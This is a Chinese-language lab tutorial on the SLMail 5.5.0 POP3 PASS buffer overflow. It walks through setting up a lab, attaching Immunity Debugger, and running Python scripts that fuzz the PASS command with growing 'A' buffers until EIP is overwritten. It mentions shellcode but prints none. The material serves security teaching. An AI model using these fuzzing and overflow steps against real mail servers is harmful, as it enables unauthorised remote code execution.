一、基本概念
缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。
在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。
注意,Win7以上系统的防范机制可有效防止该缓冲区漏洞的利用:
DEP:阻止代码从数据页被执行;
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化。
二、实验环境准备:
SLMail 5.5.0 Mail Server
ImmunityDebugger_1_85_setup.exe
mona.py
下载地址:
https://slmail.software.informer.com/download/
https://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Immunity-Debugger.shtml
https://github.com/corelan/mona
mona手册
https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
实验环境:xp
关闭防火墙
1.安装SLMail 5.5.0邮件服务器
将本地账户导入邮件服务器
安装好环境之后,确认SLMail的端口是否正常开启:25 pop3端口,180 web管理端口。
services.msc 查看邮件相关服务。
2.邮件服务安装成功后,接下来安装调试工具 ImmunityDebugger
软件会自动安装python2.7环境
打开Immunity Debugger所在目录
C:\Program Files\Immunity Inc\Immunity Debugger
将mona.py复制到PyCommands目录下,
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
三、实验内容
SLMail 5.5.0 Mail Server
POP3 PASS 命令存在缓冲区溢出漏洞
无需身份验证实现远程代码执行
win7之后windows的安全防护机制
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
使用nc验证端口连接是否正常,并且可执行pop3的一些指令
nc 192.168.199.199 25
nc 192.168.199.199 110
测试 PASS 命令接收到大量数据时是否会溢出
EIP 寄存器:存放下一条指令的地址
pop3邮件服务侦听的端口是110,进程ID是636.
使用Immunity Debugger
file---attach---选中pid号为636的进程---attach调用
开始监控程序运行状态
利用原理:“PASS”命令后,当一些特殊定制的命令输入,会造成缓冲区溢出,上传shellcode,可控制目标系统,则不需要经过身份验证,获得权限
一、测试哪个命令会出现缓冲区溢出
注:如何了解应用/协议能接受的固定指令:1、Wireshark 2、RFC【必须理解系统底层和协议底层】
01.py 最简单的功能实现
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
print data
s.send("USER Xuan"+"\r\n")
data = s.recv(1024)
print data
s.send("PASS test\r\n")
data = s.recv(1024)
print data
s.close()
print "\nDone"
except:
print "Could not connect to POP3!"
02.py【不断增大发送量,通过Debug确定是否会溢出】【若发送数目很大,还没溢出,则可放弃】
# 大概确定范围
#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.199.199",110))
s.recv(1024)
s.send("USER test"+"\r\n")
s.recv(1024)
s.send("PASS "+string+"\r\n")
s.send("QUIT\r\n")
s.close()
EIP中的41是十六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为一个存储单元进行存储,
EIP就是当前邮件服务器SLmail下一个需要执行的指令的内存地址,所发送的A把下一条指令的内存地址给覆盖了,发生了缓冲区溢出。此时cpu会到EIP所在的内存地址中寻找指令代码,而该指令内存已被A全部覆盖,此时程序就会奔溃无法继续运行。
漏洞利用:可以用shellcode填充EIP寄存器地址,这样就可能控制目标机器。